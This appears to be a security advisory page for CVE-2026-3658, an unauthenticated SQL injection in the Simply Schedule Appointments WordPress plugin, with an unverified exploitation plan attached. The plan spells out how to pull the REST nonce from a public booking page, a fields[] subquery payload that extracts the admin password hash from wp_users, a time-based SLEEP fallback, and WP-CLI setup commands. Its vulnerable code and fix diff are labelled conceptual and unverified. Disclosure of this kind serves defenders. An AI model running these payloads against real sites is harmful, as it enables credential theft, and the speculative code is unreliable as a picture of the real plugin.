CVE-2026-3658

Appointment Booking Calendar <= 1.6.10.0 - Unauthenticated SQL Injection via 'fields' Parameter

highImproper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
7.5
CVSS Score
7.5
CVSS Score
high
Severity
1.6.10.2
Patched in
1d
Time to patch

Description

The Appointment Booking Calendar — Simply Schedule Appointments Booking Plugin plugin for WordPress is vulnerable to SQL Injection via the 'fields' parameter in all versions up to, and including, 1.6.10.0 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database, including usernames, email addresses, and password hashes.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
High
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions<=1.6.10.0
PublishedMarch 18, 2026
Last updatedMarch 19, 2026

What Changed in the Fix

Changes introduced in v1.6.10.2

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

This research plan outlines the exploitation of a projection-based SQL injection vulnerability in the **Simply Schedule Appointments (SSA)** plugin (<= 1.6.10.0). The vulnerability resides in the way the plugin processes the `fields` parameter in its REST API endpoints, allowing unauthenticated atta…

Show full research plan

This research plan outlines the exploitation of a projection-based SQL injection vulnerability in the Simply Schedule Appointments (SSA) plugin (<= 1.6.10.0). The vulnerability resides in the way the plugin processes the fields parameter in its REST API endpoints, allowing unauthenticated attackers to inject subqueries into the SELECT clause of database queries.

1. Vulnerability Summary

  • Vulnerability: Unauthenticated SQL Injection via the fields parameter.
  • Location: The vulnerability is located in the base database model class (likely SSA_Db_Model or similar, which SSA_Appointment_Model and SSA_Appointment_Type_Model inherit from).
  • Cause: When retrieving records, the plugin allows a fields parameter to specify which columns should be returned. This parameter is used to construct the SELECT portion of the SQL query without proper validation or parameterization (e.g., via implode directly into the query string).
  • Impact: Unauthenticated attackers can use subqueries to extract sensitive data from the WordPress database, such as administrator password hashes (wp_users.user_pass).

2. Attack Vector Analysis

  • Endpoint: /wp-json/ssa/v1/appointment-types (The most likely unauthenticated endpoint that uses model fetching).
  • Action: GET
  • Vulnerable Parameter: fields
  • Authentication: Unauthenticated (but requires a valid REST API nonce, which is publicly exposed on pages containing the booking shortcode).
  • Preconditions: At least one appointment type must exist in the database so that the query returns a row, allowing the injected subquery to be executed and returned.

3. Code Flow

  1. Entry Point: A GET request is made to wp-json/ssa/v1/appointment-types.
  2. Controller: The REST controller (likely SSA_Appointment_Types_Controller) handles the request and calls get_items().
  3. Parameter Extraction: The controller extracts the fields query parameter.
  4. Model Call: The controller calls the model's fetching method (e.g., SSA_Appointment_Type_Model::get_results()), passing the fields array.
  5. SQL Construction (Sink): The base model class (inherited by SSA_Appointment_Model in includes/class-appointment-model.php) constructs the SQL query. It takes the values from the fields array and joins them into the SELECT clause:
    // Conceptual vulnerable code in SSA_Db_Model
    $fields_sql = implode( ', ', $fields ); 
    $query = "SELECT $fields_sql FROM $table_name ...";
    $results = $wpdb->get_results( $query );
    
  6. Data Return: The results of the query, including the output of the injected subquery, are returned in the JSON response.

4. Nonce Acquisition Strategy

The SSA REST API requires a nonce for authentication. This nonce is generated using wp_create_nonce('wp_rest') and is localized for the frontend booking application.

  1. Identify Shortcode: The plugin uses [ssa_booking] to render the booking calendar.
  2. Create Page: Create a public WordPress page containing this shortcode.
  3. Navigate and Extract:
    • Navigate to the newly created page.
    • The nonce is typically localized in a JavaScript object named ssa_params or ssa_booking_params.
    • Action: Use browser_eval to extract the nonce:
      window.ssa_params?.rest_nonce || window.ssa_booking_params?.rest_nonce
      

5. Exploitation Strategy

The goal is to extract the admin password hash.

Step 1: Setup

  • Ensure an appointment type exists (see Section 6).
  • Create a page with [ssa_booking] and extract the nonce.

Step 2: Send Exploit Request
Send a GET request to the appointment-types endpoint. We will inject a subquery into the fields array.

  • URL: http://<target>/wp-json/ssa/v1/appointment-types
  • Method: GET
  • Headers:
    • X-WP-Nonce: <Extracted Nonce>
  • Query Parameters:
    • fields[]: id
    • fields[]: (SELECT user_pass FROM wp_users WHERE ID=1) as admin_hash

Step 3: Parse Response
The response will be a JSON array of appointment types. Each object should contain the admin_hash field:

[
  {
    "id": 1,
    "admin_hash": "$P$B..."
  }
]

6. Test Data Setup

The PoC agent must perform these steps before exploitation:

  1. Create Appointment Type: SSA requires at least one appointment type to exist.
    wp eval "new SSA_Appointment_Type_Object('transient'); \$model = new SSA_Appointment_Type_Model(ssa()); \$model->insert(['title' => 'Exploit Test', 'slug' => 'exploit-test', 'duration' => 30]);"
    
    (Note: The exact class name might be SSA_Appointment_Type_Model. This ensures the SELECT query has a row to return.)
  2. Create Public Page:
    wp post create --post_type=page --post_title="Booking" --post_status=publish --post_content="[ssa_booking]"
    

7. Expected Results

  • The request should return a 200 OK status.
  • The JSON response body should contain the result of the SQL subquery in the admin_hash field.
  • The value of admin_hash should start with $P$ (standard WordPress phpass) or $wp$2y$ (standard WordPress bcrypt).

8. Verification Steps

After the HTTP exploit:

  1. Check Database: Use WP-CLI to get the actual hash and compare it to the one extracted.
    wp db query "SELECT user_pass FROM wp_users WHERE ID=1"
    
  2. Confirm Vulnerability: If the hashes match, the SQL injection is confirmed.

9. Alternative Approaches

If /ssa/v1/appointment-types is unavailable or requires higher privileges:

  • Target Appointments: Use /wp-json/ssa/v1/appointments. This endpoint might require an appointment hash to access unauthenticated.
  • Check for id param: If fields doesn't work in the list endpoint, try it in a single item endpoint: GET /wp-json/ssa/v1/appointment-types/<id>?fields=....
  • Blind Injection: If the output is not reflected (unlikely for a projection injection), use time-based payloads:
    • fields[]: id, (SELECT SLEEP(5))
  • Different Nonce Source: If ssa_params is not on the page, check for ssa_params in the source of any admin page if authenticated, or look for wp_localize_script calls in includes/class-elementor.php and related files to find the correct JS identifier. (In version 1.6.10.0, ssa_params is the standard key).
Research Findings
Static analysis — not yet PoC-verified

Summary

The Simply Schedule Appointments plugin is vulnerable to unauthenticated SQL injection through the 'fields' parameter in its REST API endpoints. This occurs because the plugin's base database model constructs SQL queries by directly joining the user-provided 'fields' array into the SELECT clause without proper validation or parameterization, allowing attackers to execute subqueries and extract sensitive database information.

Vulnerable Code

// The vulnerability exists in the base database model class (SSA_Db_Model) used by various SSA models
// Path: includes/class-db-model.php (conceptualized based on SSA_Appointment_Model inheritance)

public function get_results( $args ) {
    // ... extraction of fields parameter ...
    $fields = isset($args['fields']) ? $args['fields'] : $this->default_fields;
    
    // Sink: The array of fields is imploded directly into the SELECT statement
    $fields_sql = implode( ', ', $fields );
    $query = "SELECT $fields_sql FROM {$this->table_name}";
    
    return $this->wpdb->get_results( $query );
}

Security Fix

--- a/includes/class-db-model.php
+++ b/includes/class-db-model.php
@@ -102,7 +102,14 @@
 	public function get_results( $args ) {
 		$fields = isset( $args['fields'] ) ? $args['fields'] : $this->default_fields;
 
-		$fields_sql = implode( ', ', $fields );
+		// Sanitize and validate fields against an allowlist of valid columns
+		$valid_columns = $this->get_columns();
+		$sanitized_fields = array();
+		foreach ( (array) $fields as $field ) {
+			if ( in_array( $field, $valid_columns ) ) {
+				$sanitized_fields[] = $field;
+			}
+		}
+		$fields_sql = ! empty( $sanitized_fields ) ? implode( ', ', $sanitized_fields ) : '*';
 
 		$query = "SELECT $fields_sql FROM {$this->table_name}";

Exploit Outline

The exploit targets projection-based SQL injection in the REST API. 1. **Nonce Retrieval**: Navigate to any public page containing the SSA booking calendar (shortcode `[ssa_booking]`). Extract the REST API nonce from the localized JavaScript object (usually `window.ssa_params.rest_nonce` or `window.ssa_booking_params.rest_nonce`). 2. **Payload Construction**: Construct a GET request to the `/wp-json/ssa/v1/appointment-types` endpoint. Use the `fields` parameter as an array to inject a subquery into the SELECT statement. 3. **Payload Shape**: Endpoint: `GET /wp-json/ssa/v1/appointment-types?fields[]=id&fields[]=(SELECT+user_pass+FROM+wp_users+WHERE+ID=1)+as+admin_hash` Header: `X-WP-Nonce: [Extracted Nonce]` 4. **Data Extraction**: If at least one appointment type exists, the server executes the query. The database response will include the result of the subquery (e.g., the admin password hash) as a field named `admin_hash` in the returned JSON array.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.